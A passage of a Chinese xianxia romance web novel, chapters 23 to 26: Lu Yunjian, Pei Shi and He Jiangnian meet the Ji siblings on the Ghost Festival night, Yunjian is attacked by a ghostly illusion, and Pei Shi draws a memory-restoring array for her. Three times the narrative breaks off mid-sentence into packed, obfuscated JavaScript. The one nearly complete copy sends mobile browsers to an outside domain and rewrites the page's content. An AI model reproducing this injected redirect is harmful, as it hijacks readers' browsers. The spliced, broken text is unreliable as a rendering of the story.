陆云笺、裴世、贺江年三人算了日子,提前出发,打算与季衡、季瑶二人在云间世山下小镇中会合。三人雇了马车,一路上陆云笺时不时看着马车外发呆,裴世在一旁闭目养神、不发一言,气氛一度有些沉闷。 这种时候,贺江年就很有作用了。 “哈哈哈哈这还不算,陆明周有一次去抓狐狸精,不小心掉进了那狐狸精设的幻境里,被迷了魂,还追着人家叫‘娘子’哈哈哈哈…… “还有一次,陆明周接了委派,不得已扮做女子去接近一个好色的男妖,结果那妖怪一上来就对他产生了怀疑,最后还是我临时给他凝了朵花戴上,他才蒙混过关……” 贺江年尤其喜欢抖陆明周的丢脸事迹,抖起来是事无巨细、半点颜面不留。 陆云笺略有些意外,现代的陆明周和贺江年臭味相投就算了,修真界的陆明周好一位超凡脱俗的仙君,居然能忍受贺江年的喋喋不休与八卦,实在令人惊讶。 贺江年见她笑得并不十分开心,还以为她在忧心此次任务,道:“云笺,你是和那东西打过照面了么?怎么看起来忧心忡忡的。” 陆云笺笑道:“没有啊,但是想想就觉得那东西很吓人。” 贺江年“嗨”一声,一拍胸脯:“你别怕,”说着递给她几张符纸,“这是我创的,单独联系我的,比寻常通讯符快得多,要是有什么事,你第一时间联系我。” 陆云笺看上头的图案像鬼画符一般,笑出了声,道:“好好好,多谢多谢。” 是了,即便在现代陆明周和贺江年臭味相投,但到底是有些不同的。陆明周更多的是吊儿郎当又一副胸有成竹的自信姿态,贺江年则是心大得很,天塌下来了都能昂首挺胸、乐观应对。 贺江年在这头笑得跟傻子一样,一旁一直在闭目养神的裴世似乎实在忍不下去,终于睁开了眼。 贺江年被他瞪得一寒噤,闭了嘴。 裴世的目光移向陆云笺,又缓缓落在贺江年的鬼画符上,定了许久。陆云笺正感疑惑,裴世不等她说话,忽地抓过她的手,飞速画了个阵法。他这阵法画得比贺江年还草,陆云笺颠来倒去看了半天,只看清楚中央画的是一朵梅花。 裴世又塞给她几张符纸,淡淡地对贺江年道:“贺公子的符咒诡谲复杂,陆小姐怕是记不住。” 陆云笺诧异地看他一眼,展开他的符纸,上头图案简单得简直不能称之为符咒,是一朵五瓣梅花,确实非常好记。 贺江年眼尖,盯住陆云笺的手不放了:“哎哎裴世,你这阵法好,什么阵法?从哪儿学的?” 裴世露出个高深莫测的笑:“我刚创的。” 陆云笺在心中感叹:这两个什么人,一个自创符咒,一个自创阵法,怎么都像开外挂一样? 贺江年收回视线,看裴世的眼神就不经意带上了几分崇拜:“这阵法挺好,给我也画一个呗?” 裴世道:“陆小姐不会法术,一不留神小命就丢了,需要人保护。贺公子创制符咒信手拈来,还需要人保护吗?” 贺江年被裴世毫不留情地拂了面子,讪讪收回手,换了个话题:“哎,云笺,刚说到变花……”他指尖一动,凝出一只泛着淡紫色光晕的灵蝶来,“好看不?” 陆云笺眼睛一亮:“灵力凝的?好看!” 裴世冷冷看着,抬手凝了朵淡雅出尘的白梅花,闪着潋滟金色光芒,散发出淡淡幽香。 陆云笺立刻又被这边的白梅花吸引了。 贺江年也不服输,又凝了只紫灵蝶,那灵蝶扑扇着翅膀,停在陆云笺的水蓝色的衣襟上,像是蝴蝶落入一泓清泉。 裴世又凝了朵并蒂白梅,看上去与真实的白梅花无异,瓣上还带着露珠,在阳光下闪烁着斑斓色彩。 陆云笺一时有些无语:这两人怎么像小孩子一样耍宝比试起来了? 由于最新情况出现在郝庆府上,三人便在附近找了家客栈住下,等季衡、季瑶前来汇合。 在客栈一楼匆匆用过晚饭,陆云笺抱着一堆白梅花紫灵蝶,先敲开了贺江年的房门。敲了半晌,陆云笺还以为贺江年不在房中,正欲转身离开,贺江年却终于开了门:“云笺?不好意思啊,我刚刚擦剑呢,没听见敲门声,抱歉抱歉。” 他依依不舍地打量了被擦得锃亮的明澄剑片刻,这才小心翼翼把剑收入剑鞘,道:“有什么事么?要不进来说话?” 陆云笺将目光自明澄剑上收回,心道:这明澄剑和紫灵蝶都是极风雅的事物,奈何贺江年一身傻气,半点不搭。这话只能在心里想,她面上仍旧礼礼貌貌地笑着:“没什么重要的事,就是这些灵蝶怪浪费灵力的,我也不好拿,要不你收回去吧?” 贺江年看了一眼陆云笺怀里璀璨夺目的白梅花,倔强道:“不用多少灵力,再说了,送出去的东西哪有再收回来的道理。” 陆云笺无奈一笑:“好吧。”她说着正欲转身离开,又忽然想起什么,“说起来,你之前和裴世熟吗?” 贺江年自信道:“熟啊!怎么不熟,虽然我没跟他一起出过任务,但是吧,我们关系还可以的。” 陆云笺十分意外,道:“那你知不知道他从前是个什么样的人?” 贺江年摸了摸下巴,道:“哪个从前?你说他刚进云间世那会儿吗?” 陆云笺道:“也行。” 贺江年思考了一会儿,道:“呃……这个吧,那时候我和他不太熟啊,他刚进云间世那会儿,我确实跟他搭过话,但他那时候老高冷了,都不理我。” 陆云笺又道:“好吧。那之后呢?要熟起来的话,你们之后应该多少说过话吧?” “呃……说是说过,但他也不怎么理人。”贺江年看起来有点郁闷,顿了顿,又道,“他这人就是这样,老别扭了。”陆云笺对这点倒是非常赞同。 贺江年说着打量陆云笺几眼,道:“不过,一直以来和裴世最熟的都是云笺你啊,你真的一点儿都不记得了?” 陆云笺把灵蝶和白梅放在一边,拉了张椅子坐下:“真不记得了。要不你说说他的事儿?没准我能想起来一些呢。” 贺江年也拉了张椅子坐下,颇为神秘兮兮地:“裴世这人也挺奇,他有三件事还挺出名的,在整个云间世……呃不是,整个修真界也有不少人知道。 “第一件,是他进云间世。当初他想进云间世,但形容可疑又来路不明,肯定不能放进来的,他那时候就在云间世外面待了好久,有半个月吧,就天天跪在云间世门口磕头,但是守门弟子硬是不放他进来,也没人管他。 “后来不知道怎么就进了,但是吧,听说他根骨奇差、全无天赋,所以没有长老愿意收他,他就只好留在云间世打点杂了,虽说书院里的课他和我们是一样地上,演武场也可以照样去,但没有师父,还是很难出头的。” “根骨奇差全无天赋?!”陆云笺难以置信,“你说的这是裴世??” “是啊!就是因为这样,我之前一直以为他不会法术,”贺江年也激动了,“结果你敢信——后来他一个人徒手杀了鬼魈!鬼魈你知道吧?身躯高大、力大无穷,还很灵活,还能变化,不用武器很难杀的!结果他不仅徒手把它杀了,还把它撕碎了,听说后来有弟子去他杀鬼魈的地方看,那血淋淋的场面,吓晕了好几个!” 贺江年相当投入,说着还一激灵,惹得陆云笺背脊也爬上一阵寒意。 怪不得裴世身经百战,不知手下死了多少妖魔鬼怪,却连鬼魈的指甲都记得那么清楚,敢情不是因为他们交过太多次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你别看他只有这一把剑,许多妖魔鬼怪都是被他用归云一剑斩杀。归云爆发力很强,所以裴世老喜欢一片一片地杀,那鲜血四溅的场面,特别恐怖。” ……没想到裴世在云间世还有此等传说。 陆云笺严重怀疑这些传说扭曲夸大现实,要不然就是贺江年添加了些神乎其神的玄幻成分,总之她无法想象仙鸟衔着归云仙剑递给裴世那一节。 实在有些离谱。 贺江年不知她在想什么,自顾自道:“你发现没有?裴世其实没那么适合用剑,他更适合用刀。”陆云笺虽不懂什么刀法剑法,但想到裴世用剑,常常是又砍又斩,的确更像刀的霸道凶猛。 “我记得他很久以前是会用刀的,后面不知道为什么没用了,好长一段时间都没武器,后来有了归云剑,才没徒手撕邪祟了。” 陆云笺坐在椅上出了一阵神,半晌才起身,重新抱起那一堆紫灵蝶白梅花:“好啦,故事也听够了,我就先回去啦。”走到门边忽然想起一事,转身道,“对了,既然这些灵蝶你不收……我把它们卖了,你不介意吧?” …… 陆云笺准备推门进自己的房间时,恰巧碰见旁边裴世也正欲推门进他的屋,四目交接,一时有些尴尬。 陆云笺干笑两声:“晚上好啊。” 裴世没应。 陆云笺举起一朵白梅花扬了扬:“这东西费灵力,你要不要……把它们收回去?” “这么点灵力……”裴世瞄了一眼陆云笺怀里的紫灵蝶,带着嘲讽的语气,“我乐得浪费。”说完心中却又涌上一阵烦躁,自言自语道,“我也是闲得慌,才会陪你们玩这种幼稚的把戏。” 陆云笺没听见他的自言自语,自顾自笑得灿烂:“那你介不介意我把它们卖掉?” 裴世像是听见了什么笑话,蹙眉道:“卖?” 陆云笺有些不好意思:“这些东西不太好拿……我想,与其放在那里浪费掉,不如物尽其用。” 没等陆云笺反应过来,裴世“倏”地一下把她怀里的白梅花都收走了,留下孤零零的紫灵蝶幽幽发着光,随即推门进屋,再没搭理她。 陆云笺:“??” ……果真喜怒无常阴晴不定。 24. 惊鸿影 季衡与季瑶大约是有事在路上耽搁了,原定汇合的时间推迟了几日,这几日三人一直住在客栈,偏生又没有什么新线索,因此颇有些无聊。 贺江年嫌客栈送的饭菜难吃,非拉着陆云笺和裴世到附近的酒楼吃饭。此时已经入夜,街上人烟稀少,不知为何,酒楼中人也稀少。 贺江年奇怪道:“我记得这家酒楼挺热闹的啊,怎么今天就这么点人?” 陆云笺已经拉了把椅子坐下,开始看食单了,闻言抬头:“江年,你经常来这家酒楼吗?” “是啊。”贺江年收回打量四周的目光,拿了食单,道,“这家有几个菜特别好吃,这个辣子鸡丁和麻婆豆腐,特别够劲儿。” 陆云笺眼睛一亮:“是吗?” 她倒是没想到贺江年的口味也和现代一样,颇为惊喜地:“那可太好了,云间世的饭菜太清淡了,都没有味道,辣子鸡丁和麻婆豆腐都能做成甜的。” 两人拣了几个辣菜,邀请裴世加入讨论,然而裴世一言不发,似乎并不想参与,自己点了两个菜,就又靠在椅上闭目养神。 这家酒楼厨子与小二手脚都麻利,不一会儿便把菜都上齐了。陆云笺与贺江年暴风席卷般地干掉了所有辣菜,正为最后一块辣子鸡丁争执,却见一旁裴世悠悠地夹着他点的那两盘菜,不急不忙,十分悠闲。 没人跟他抢。因为他点的那两盘菜,从色泽到气味,都让人觉得极其寡淡无味。 陆云笺眼睛一转,手上筷子没松,转头道:“裴世,你要不要尝尝这辣子鸡丁?很好吃的。” 裴世看也不看:“不尝。” 陆云笺道:“尝尝吧,真的好吃,没骗你。”说着趁贺江年不注意,拿筷子夹了最后一块辣子鸡丁就往裴世碗里丢。裴世抬手用筷子夹住,没让它掉进碗里,抬头看了陆云笺一眼。 贺江年原本还因为到嘴边的辣子鸡丁跑了而忿忿不平,见它到了裴世筷子上,却又开始兴奋了:“裴世,最后一块都给你了,你不能不给面子吧。”陆云笺也笑着摆出个“请”的手势。 裴世沉默好一阵,最终还是没把筷子折断,而是在另外两人期待的目光中,把辣子鸡丁送入口中。 陆云笺道:“好……”她甚至连第一个字都没说完,就听裴世剧烈咳嗽起来。 陆云笺:“??” 虽然她猜到裴世可能不大喜欢吃辣,但也没想到他这么不能吃辣。她与贺江年本也是看他全程都没说过几句话,便想拉着他活跃点,谁知裴世就吃了那么一口,就憋都憋不住,咳得像是快背过气了。 陆云笺看他这架势,怕他又一激动咳出血来,手忙脚乱间把身上所有的药都掏了出来,推到他面前。 很有用,裴世果真没再咳,转而抬眼瞪她。 陆云笺:“抱抱抱歉啊我……” 裴世嗓子还是略哑的,说的却并不是此事,而是道:“有东西来了。” 此言一出,便没人有心思再纠结于此了,都下意识往四周看。原本酒楼里还稀稀拉拉坐着几人,不知何时已经都离开了,整座酒楼,只有他们三人和仍在台上咿咿呀呀唱着曲儿的歌女。 贺江年后背发凉,道:“有人在哭吗?好像又是在笑?又好像在吵架……” 陆云笺也浑身发毛:“江江江年,你会不会是听错了?是不是因为那个女孩子在唱歌啊……” 裴世径直起身推开了一扇窗。窗一开,一大堆乱七八糟不知道是什么的妖魔鬼怪便都涌了进来,其中最多的是鬼魂,哭的哭,笑的笑,还有的……在吵架。 贺江年恍然大悟道:“噢我想起来了,今天是中元啊,我说怎么没人呢,大家应该差不多都回家了。”说着把那一堆乱七八糟的东西推出去,又关上了窗,“百鬼夜行就算了,怎么都往我们这儿涌?我们是什么招邪体质吗?” 裴世在窗边停了一阵,又回到桌边坐下,用筷子扒拉着碗里的菜,不知在想什么。 陆云笺道:“那我们等它们走了再回去?” 贺江年摊手道:“只能这样了。不过……”不过外面那群东西鬼哭狼嚎吵吵嚷嚷,闹得人十分心烦。 中元之时百鬼躁动,唯有修真之人以灵力弹琴曲方可安宁。贺江年道:“有谁弹个曲子安抚一下它们吗?太吵了。” 陆云笺诚恳道:“我不会。”于是两人都将目光投向裴世。 裴世抬眼,吐出的字句毫无温度:“何需麻烦?全杀了便是。”说着似乎真要起身,陆云笺忙一把按住他。虽是妖魔鬼怪,但都不曾害人,怎能不由分说全杀了? 贺江年吐了口气,道:“那我来吧,不过……”他没好意思把后面的话说完,起身整理下衣服,便去向那歌女借琴。 他坐得十分端正,深深吸气,指尖拂过琴弦,看似轻柔,实则有力。 相当风雅。然而弹出的却不是什么袅袅流泉,而是如暴风骤雨一般,震得人头疼。外头的妖魔鬼怪更兴奋了,哭的笑的吵架的都开始欢呼,一个接一个撞击门和窗,眼看就要冲进来。 陆云笺虽不大通音律,但也知道贺江年弹了个什么东西,忙道:“江年,先别……” 话未说完,却听到一曲袅袅琴音,似流泉,如云烟,轻柔之中又有力量,虽如粼粼月光一般倾泻,却又仿佛携着风雨而来,如利箭一般穿过门窗,落入耳中,激起千层风浪。 妖魔鬼怪霎时敛了声息,瞬息之间,无影无踪。 一曲琴音,妖魔退散! 片刻之后,琴音戛然而止,四周一片寂静,大门吱呀一声,被人推开。遮天蔽月的黑雾已经散去,那人披月而来,宛若谪仙落入凡间。 清雅出尘,惊世绝伦。 贺江年停了拨琴的手,抬头却是怔愣住了,目光黏在那人身上撕都撕不下来,心跳得极快,撞得他头脑发晕。 陆云笺也愣了:“季……季……” 青衣女子微微一笑,道:“抱歉,诸位,未曾带琴,向旁人借了一把,费了些时间。” 裴世朝她微一点头,陆云笺和贺江年还傻愣着,说不出话。 青衣女子俯首一礼:“陆小姐。”陆云笺眼里的光陡然灭了一半,“季”了老半天,最后黯然无力地吐出一句:“季小姐。”她还来不及多说一句,贺江年就蹿了出来,把她挤到了一边。 陆云笺:“??” 贺江年活像一只开屏的孔雀,拦在季瑶面前,把陆云笺和裴世挡了个干净:“阿瑶,我也在呢,你不能无视我啊!” 季瑶便也微微一笑,俯首道:“贺公子。” 贺江年瞪大眼睛,指自己:“我??‘贺公子’??” 陆云笺的眼睛瞪得比他还大,甚至反应不过来。 季瑶越过贺江年,道:“劳诸位久等,路上遇到了些难缠的妖魔,耽误了几日,兄长稍后便会赶来。” 季衡的确来得很快,四人还未行至客栈,就迎面碰上了他。他玉冠青衣,行色匆匆,衣袍染上了些许污渍,像是什么东西的血,佩剑在手,尚未收起。 季衡见了众人,这才收了剑,道:“中元之夜,不宜在外久留。” 的确如此。一行人匆匆赶回客栈,外头已经彻底黑下去,一片沉沉死寂,在这几人眼里,却有数盏灯火接二连三地亮了起来,渐渐传来些声音。那是妖魔鬼怪的热闹,活人还是不要去凑为好。 季衡、季瑶还未用饭,几人回到客栈,又在一楼坐下,要了些饭菜。 贺江年明明刚用过饭,又非常嫌弃客栈的饭菜,此时却又乐此不疲地和季衡、季瑶一同伸筷子,不知道抽什么疯。他挑挑拣拣半天,实在咽不下寡淡无味的青菜,用筷子把碗里的青菜叶都戳得稀巴烂,边戳边烦躁:“又是失魂又是咬人的,这是不是同一个人干的啊?” 季衡道:“动机不明,难以判断。”他本就生得清冷,此时开口,严肃凝重,更让人觉得难以接近, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“一个普通人身上,为何会有鬼魈的指甲?” 一行人下意识都将目光投向裴世,毕竟若论对鬼魈的了解,修士当中,恐怕没谁比得过他。 裴世答得十分平淡,不带丝毫情绪:“郝庆与它做了交易,它才把指甲给了他。”他这话说得有些不清不楚,但听他的意思,鬼魈的指甲似乎与此事并无太大关联,众人便都没有追问下去。 “既然云间世认定了没有问题,那姑且先放在一边。”季衡似乎颇为疲累,又按了按眉心,“溟海村住民一部分已经遇害,余下的大多早已迁出,许多已经不知去向。如今能查出去向的迁出住民中,只知有一人住在三里之外,其余都已遇害。今日不妨先稍作休整,明日再去那处探查。” 众人都无异议,各自上楼去了。 陆云笺不知为何辗转反侧睡不着,干脆起床重新点了灯,又在桌边画起了符咒。原本一笔一划工工整整,却是越画越乱。 修真界的季衡与季瑶如此风采,现在的自己若要说与他们是朋友,自己都觉得不好意思。 她放了笔,坐在桌边发起呆来。 她记得现代的季衡学习成绩也是很好的,经常给她讲题到很晚,但她常常弄不明白,季衡就会说“没事的,慢慢来”。后来她出了车祸,日日躺在病床上,还缠着季瑶给她讲睡前故事。 那时她说:“唉,我都这么大人了,还要听睡前故事,季瑶,你会嫌我烦吗?”季瑶总在小孩子看的绘本里给她挑故事讲,她会说:“怎么会?就算是以后我们老了,七老八十了,你想听,我也会给你讲的。所以你要不要做些小蛋糕感谢我?” 若说不怀念,是不可能的。陆云笺撑着下巴在灯前笑起来,如果她真的从病床上起身去做小蛋糕的话,季瑶一定会按着她的肩膀把她按回去的。 思及此,她忽地感到肩膀一凉。 25. 绾红丝 陆云笺头脑尚未反应过来,身体已经先一步僵了。她还来不及思考,肩上那爪子便忽地用力,抓了她的肩膀,猛地把她甩了出去! 陆云笺“砰”地摔在房间角落,身上不知哪处骨头响了一下,疼得她龇牙咧嘴,喊不出声来。她抬眼去看抓她的那东西,却是一个长发红衣女鬼,艳红的嘴唇一路裂到耳根,狞笑着朝她扑来。 骤然见着这么个东西,陆云笺吓得呼吸一滞,手下意识去摸防身的东西,却忽地一阵剧痛袭来,仿佛抽骨剥魂一般,像是有什么东西从身上被猛地剥离。 陆云笺痛得五感都要丧失了,全副精力都用在与那痛感抗衡上,片刻之后,那剧痛却忽然消失了,她缓了口气,再睁眼时,环视四周,哪还有什么女鬼? 陆云笺靠在墙边,一阵头晕目眩,过了片刻才留意到门边站着一人,她抬眼向上望去,见裴世推开了门,微微蹙眉,略有些疑惑地俯视着她。他站在门边,似乎有些迟疑,眯着眼打量了一下房间,才道:“陆小姐……这是又有什么新游戏么?” 陆云笺收回目光,闭了会儿眼,喘了几口气,又扫视了一圈,确定没有女鬼的影子,这才稍稍松了口气,心中感叹:这怕不是鬼跑得最快的一次吧。大概是父亲送的手链给力,关键时刻抵御邪祟,保全了她一条小命。 陆云笺又缓了会儿神,这才缓缓起身,拍拍衣上尘土,道:“刚刚真吓死我了,红衣女鬼啊!”她站直了,尽量显得镇静些,“可能是中元节在外面游荡的鬼吧。裴世你是也遇到了什么东西吗?” 裴世却道:“没有。不过我觉得,陆小姐遇上的可能不是什么游荡的鬼,而是幻境吧。” “幻、幻境?”若说中元节遇上鬼她还能勉强冷静,但听裴世如此说,却是再也冷静不得了。陆云笺瞪大眼睛,一把抓住裴世的手:“那东西就在这里!它盯上我了!” 裴世又扫视一周,道:“这屋内鬼气与妖气仍然极淡,与外面别无二致。”虽是这么说,却立刻拉了陆云笺就往外走,意欲去找其他三人。 然而他一只脚刚踏出门,四周景象刹那间变幻莫测,波诡云谲间只见无数鬼魅孤魂扭曲尖叫,仿佛一脚踏进了鬼界。他立即撤回脚,不动声色地抬手在门外落下一道结界,关上门,又拉着陆云笺走回房中。 陆云笺道:“怎么了?” 裴世在桌边坐下,一手撑着额头,道:“一脚接上鬼界了。别出去,万一两只脚都踏进去就回不来了。” “鬼界?”陆云笺难以置信,“……是因为,今天是中元?” 陆云笺坐回桌边,勉强镇定下来,掏出通讯符联系了其余三人。三人均表示并未发现妖魔鬼怪,也没有遭遇幻境,试着踏出门,也没有见到鬼界的景象,但保险起见,众人都决定不要乱出房门乱走动。 裴世戏谑道:“完了,陆小姐。真是盯上你了。” 陆云笺捶胸顿足道:“它为什么会盯上我啊!我没惹它啊!” 裴世道:“或许这东西有点脑子,看得出眼下的陆小姐最废物?” 此时危机四伏,陆云笺只有这一个大佬可以靠着,她是断然不敢怼回去的,只能虚心求教:“明明都接上鬼界了,为什么还是没有妖魔鬼怪的气息?” 裴世道:“要么,这个鬼界入口由厉害角色把持着,我们探不出;要么就干脆是幻影。” 陆云笺感到心累:“又是幻影?” 裴世冷冷看着房门,道:“照理来说,不会是同一个东西。布设幻境幻影本就极耗精力,更何况它还受了伤。除非从一开始,它就已经设好了在等你。” 但无论是又出现了一个新的邪祟还是有备而来,情况都是不妙的。 陆云笺的关注点却很奇特,她问:“你怎么知道它受伤了?” 裴世不答,反而斜睨了一眼床榻,道:“陆小姐怎么还不困?” 陆云笺不答反问:“人进入幻境之后在现实中是什么状态?” 裴世道:“稍低阶的幻境,昏睡。高阶幻境,直接消失不见。” 陆云笺道:“是啊,进入幻境和睡着了是一样的状态,我怎么敢睡?要是我进入幻境了,你却以为我是睡着了怎么办?” 裴世道:“我自有办法知道。” 陆云笺问他是什么办法,他却又不肯说。陆云笺估摸着时间,猜想或许才到子时,后面的时间将漫长而无聊,顿时更加没精神。 她见裴世一言不发坐在桌边,虽并不想他去睡,但还是很礼貌地问:“你困不困?要不要睡觉?我这床……呃本来也不乱,收拾收拾你应该可以睡的。” 裴世道:“不用。”他看起来也的确并无半点困意。 陆云笺大脑疯狂运转,思考该怎么打发掉这漫长一夜。或许小孩子玩的游戏比较适合,然而这实在很难,环顾屋内,并没有什么道具,连纸笔都没有;一个人玩实在太傻,所以要挑一个易于打发时间,又能让裴世接受的小游戏—— 陆云笺坐在桌边,往前挪了些许,试探着问:“裴世,无不无聊?玩成语接龙吗?” 裴世果然沉默了。 陆云笺贴心地解释道:“就是我说一个成语,你再说一个,你说的成语第一个字要和我说的成语最后一个字相同,你说完我再说,咱俩轮着来。怎么样?” 裴世白眼翻到天上去,仍是没说话。 陆云笺不死心地道:“那你有什么好玩的不?这一整晚都醒着,太无聊了,容易睡过去。要不咱俩就聊会儿天?你说说你以前除妖捉鬼的事儿呗。” 大佬应该都喜欢谈论自己的光荣事迹吧。对于这点陆云笺比较自信,若不是怀疑其中很可能有惊悚鬼故事的成分,她一定把它作为首选。 然而裴世还是沉默,但好歹并没有翻白眼。 陆云笺心下疑惑,心道莫非此人闯荡两年,拿得下修士榜榜首,灭得了鬼魈整个种族,评得了“归云仙君”的美名,却竟没有拿得出手的事迹? 她悄悄瞥了裴世一眼,却发现他盯着自己的手腕,神情莫测。 陆云笺低头一看,不知掩在袖中的那串手链何时露出来了,裴世看的,想来就是这手链。她举起手来晃了晃,骄傲而雀跃地:“我爹给的,好看不?” 裴世收回视线,但还是没说话。 等了半晌,陆云笺也不好意思再找什么话题,忽听他低低道了句:“若是闲得慌,倒也有个消遣的法子。” 陆云笺眼睛一亮:“什么?” 裴世抬头望她:“翻花绳。” “??”陆云笺几乎是难以置信地又问一遍,“什么?” 裴世道:“翻花绳。不会?” 这是继他主动找阿宋唠嗑、幼稚地与贺江年比试变白梅花之后,第三次让陆云笺感到无比惊悚。开什么玩笑!裴世这种一贯一副睥睨天下的模样的人,主动提出玩翻花绳?! 陆云笺还没缓过来,就见裴世平静地翻出了一根红绳,已经摆好了第一步:“来啊。” 陆云笺低头一看他手上那红绳,更是无比震惊:“这这这,这不是你用来追鬼魂那……那法器?”她非常尊敬地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047612|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用了“法器”二字。 裴世却浑不在意:“普通绳子而已。” 陆云笺愣了好一会儿,心道此人对“普通”的定义当真是非常不普通,道了声“行吧”,从他手中接过绳子,翻了个简单的花样。 裴世没有看她,只用手指轻轻勾着红绳,手指翻飞,让人联想到命运之神随意拨弄凡人的命运之线。又去看他的脸,一副温柔的好皮相,在昏黄烛光下更显面如白玉,倒真像是九天仙神。然而陆云笺再也不会被这张脸迷惑而觉得他温柔了,若是神,那也是煞神。 陆云笺低下头,手上又干脆利落地翻了个稍复杂的花样。 裴世脸色不变,迅速又翻了个更复杂的花样,抬眼看她一瞬,像是挑衅。 几轮下来,陆云笺实在招架不住。裴世仿佛天天在练这玩意儿似的,手上动作干脆利落快如闪电,仿佛不是在翻花绳,而是在施法。陆云笺也就小时候玩过一阵,后来渐渐长大了,便再没碰过,如今黔驴技穷,已是穷途末路。 裴世手指一动,又翻回了上一步:“陆小姐,这曾经还是你教与我的呢,如今怎么……师父倒输给徒弟了?” 看他似乎心情还不错,陆云笺笑道:“青出于蓝而胜于蓝。我认输。”看看窗外的一片漆黑,接着道,“讲讲你的光荣事迹呗,裴公子?”她实在是好奇。如今看他心情好,这好奇心大概也是不会害死猫的。 果然,裴世收了绳,也没有不悦,只道:“你想听什么?” 陆云笺道:“我倒没什么非要听的,随便什么都可以。” 裴世道:“那便没什么好说的。我接委派不到两年,多数邪祟一击毙命,没什么故事。” 陆云笺笑笑,真诚地夸赞道:“好厉害啊,归云仙君。听说归云仙剑是仙鸟衔来的,是真的么?” 裴世也笑:“陆小姐的消息实在是灵通。不过是寻养神芝时惊动了看守的神兽,它说与我投缘,就顺带送了把剑。” 陆云笺道:“怎么会是顺带送的,归云仙君‘归云一剑动天下’呀。” 裴世面上笑容不减,却转了话题:“其实呢,陆小姐也是一位很有名的人物。”陆云笺一怔,又是一阵心慌。 裴世继续道:“当今五位最有名的年轻仙君,季衡季瑶陆明周我——还有一位,就是陆小姐你。” 陆云笺苦笑道:“那完了,现在只有四位了。” 她一向对修真界的自己歉意颇深,再次得知从前修真界的自己是位怎样了不得的人物,不免更为歉疚,也更为不安。或许父兄早早把自己扔出来闯荡闯荡是最为合适的,若是一直待在云间世,还真不知该如何糊弄外人。 裴世没再继续这个话题,转而道:“陆小姐怎么不问我,既然多数妖魔鬼怪都是一击毙命,为何云间世的树妖藤妖不是?” 陆云笺道:“一击毙命当然也是在找到要害的情况下,树妖藤妖藏得好,要害不容易找,自然就难打。” 裴世道:“不知陆小姐可曾听说过,三百二十年前云间世第三代掌门陆成蔺,于仙人与魔王那一战中助仙人降伏诸多妖邪,将其镇于地下,并在其上种下一颗灵木种子,如今那种子早已长成参天大树,根系遍布云间世主山,是云间世的结界之基。” 陆云笺道:“这我知道,不就是中孚殿前那一株神树?” 裴世道:“云间世万千草木皆以它为本源,由于镇压了不少妖邪,难免有些小妖小怪沾染了邪气,四处作乱。那藤妖不过是个小妖,不足为怪。但那树妖是神树枝条所化,为何会突然作乱?” 26. 寻旧忆 陆云笺道:“之前说到魔王临死前设下那个诅咒,现在妖魔鬼怪异动应该都与此有关吧?”她依稀记得裴世说过这些妖魔鬼怪都是魔王设下诅咒的证明,却不明白好端端地,他为何又忽然提起这事。 裴世笑了笑,也不急着继续,提过桌上茶壶,给他们二人一人斟了一杯茶,道:“是。它作乱,一则是因为力量增强,二则,必然是它有了作乱的机会。但是神树和结界与云间世掌门的心脉相连,若是这两者出了问题……” 陆云笺倏地站起来:“什么意思?” 裴世只悠悠喝了口茶,道:“尊主的事,旁人不方便多想,也不方便多说。我也就是,随口一提。”但陆云笺知道,他绝不是简简单单随口一提。 果然,他靠了片刻,又忽地前倾上身,靠近些许,劝诱一般:“不过,其中缘由,陆小姐恢复记忆,不就都清楚了?” 陆云笺看着他,道:“怎么恢复记忆?” 裴世道:“我在民间寻得一法,传说有奇效,或可一试。” 陆云笺掩在袖下的手不自觉地握紧了。倒不是不想或不敢恢复记忆,而是不知若是裴世发现了自己来自另一个时空,又会如何? 裴世一挑眉,道:“怎么,陆小姐不是也想恢复记忆吗?” 陆云笺深吸一口气,下了决心,又在他对面坐下,道:“来。” 裴世看着她的举动,轻飘飘道:“我将此法做成了一个阵法,并不凶险,陆小姐不必紧张。”说着指尖金光亮起,已经画下了第一笔。 陆云笺的目光随着他的指尖移动,笑着反将一军:“我看还是裴公子比较紧张,手都抖了。”裴世指尖一顿,没有抬头看她,却也难得地没有嘲讽回来。 过了良久,桌上茶盏里的茶已经彻底冷下去,法阵也已经画了三分之一,陆云笺眼睛跟着他的手指都转累了,忽听裴世道:“陆小姐,请闭上眼吧。” 陆云笺依言闭眼。 裴世的手的确有些抖,偶尔有几处线条歪了,便又擦掉重画。前后折腾半夜,阵法终于落成,他抬眼去看陆云笺。 陆云笺一开始闭上眼,坐得很直,后来等得久便坐不住了,干脆趴在了桌上。不过无论什么姿势都不会影响阵法效力,因此裴世也并没有阻止她。此时再去看,却见陆云笺趴在桌上,脑袋枕着手,月光打下来,更衬得她黑发如墨,脸颊镀上一层灯光,泛着柔和的暖色。 ……睡着了? 裴世收回目光,又仔仔细细检查了一遍阵法,的确没有画错。 可若是没有画错,那这阵法就该生效了,在恢复记忆的刺激下,不说什么痛得捶胸顿足、以头抢地,好歹也要意思意思,至少不会没有半点反应,还睡得……如此安详吧? ……莫不是装的?他细细打量陆云笺一阵,将杯中冷茶一饮而尽,终究没有将她唤醒。 陆云笺这一觉睡得格外沉。 或许裴世画的阵法并非全然无用,陆云笺又做起了梦,以这个时空为背景、似真似幻、不知真假的梦。她在现代出车祸后便常常做这样的梦,自来到修真界却是再没做过,算是久违了。 她的视线随梦中的自己而动,四下环视,所处之地似乎是一座荒山,荒草萋萋,杳无人烟。 